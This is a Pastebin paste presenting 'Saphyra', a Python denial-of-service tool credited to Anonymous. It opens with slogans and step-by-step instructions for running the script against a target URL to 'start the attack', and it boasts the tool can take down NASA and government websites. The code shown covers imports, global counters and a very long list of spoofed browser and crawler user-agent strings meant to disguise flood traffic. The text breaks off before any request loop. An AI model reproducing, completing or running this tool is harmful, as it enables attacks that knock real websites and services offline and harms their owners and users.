API tools faq
paste
Guest User

Saphyra.py POWERFULL DDOS BOTNET

a guest
Oct 27th, 2016
419
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 398.27 KB | None | 0 0
raw download clone embed print report
  1. We are #Anonymous
  2. Knowledge is free
  3. It is necessary for everyone to support the collective
  4. These DDOS Botnet Script´s are very strong and bring internet sites in less than 10 to fall to the tango down
  5. We do not forget
  6. We do not forgive
  7. Expect Us
  8.  
  9. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  10. Copy this entire text!
  11. Create a text document and paste the text into it
  12. Go to Save As
  13. DO NOT SHOW ALL FILES NOT ONLY TXT. FILES
  14. Then save the file as saphyra.py to your desktop and close the window
  15. Open your CMD with Win + R now enter CMD and press ENTER
  16. The command to use CMD Anonymous is @echo off
  17. NOW ENTER
  18. cd desktop
  19. Saphyra.py http: //
  20. And press Enter to start the attack
  21. If not immediately PLEASE WAIT
  22. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  23.  
  24.  
  25. # ----------------------------------------------------------------------------------------------
  26. # Saphyra - DDoS Tool
  27. #
  28. # The DDoS Protocol is the most massive type of attack
  29. # This tool can tangodown nasa and more gov websites
  30. #
  31. #
  32. # author : Anonymous , version 1.0
  33. # ----------------------------------------------------------------------------------------------
  34. import urllib2
  35. import sys
  36. import threading
  37. import random
  38. import re
  39.  
  40. #global params
  41. url=''
  42. host=''
  43. headers_useragents=[]
  44. headers_referers=[]
  45. request_counter=0
  46. flag=0
  47. safe=0
  48.  
  49. def inc_counter():
  50.     global request_counter
  51.     request_counter+=9999
  52.  
  53. def set_flag(val):
  54.     global flag
  55.     flag=val
  56.  
  57. def set_safe():
  58.     global safe
  59.     safe=1 
  60. # generates a user agent array
  61. def useragent_list():
  62.     global headers_useragents
  63.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  64.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  65.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  66.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  67.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  68.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  69.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  70.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  71.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  72.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  73.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  74.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  75.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  76.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  77.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  78.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  79.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  80.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  81.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  82.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  83.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  84.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  85.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  86.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  87.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  88.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  89.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  90.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  91.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  92.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  93.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  94.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  95.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  96.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  97.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  98.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  99.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  100.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  101.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  102.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  103.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  104.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  105.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  106.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  107.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  108.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  109.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  110.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  111.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  112.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  113.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  114.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  115.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  116.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  117.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  118.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  119.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  120.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  121.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  122.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  123.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  124.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  125.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  126.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  127.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  128.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  129.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  130.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  131.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  132.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  133.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  134.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  135.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  136.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  137.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  138.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  139.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  140.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  141.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  142.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  143.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  144.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  145.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  146.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  147.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  148.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  149.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  150.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  151.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  152.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  153.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  154.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  155.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  156.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  157.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  158.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  159.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  160.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  161.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  162.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  163.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  164.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  165.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  166.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  167.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  168.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  169.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  170.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  171.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  172.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  173.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  174.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  175.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  176.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  177.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  178.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  179.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  180.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  181.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  182.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  183.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  184.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  185.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  186.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  187.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  188.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  189.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  190.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  191.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  192.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  193.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  194.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  195.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  196.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  197.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  198.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  199.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  200.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  201.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  202.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  203.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  204.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  205.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  206.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  207.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  208.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  209.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  210.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  211.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  212.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  213.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  214.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  215.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  216.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  217.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  218.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  219.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  220.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  221.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  222.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  223.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  224.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  225.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  226.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  227.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  228.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  229.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  230.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  231.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  232.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  233.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  234.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  235.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  236.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  237.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  238.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  239.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  240.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  241.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  242.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
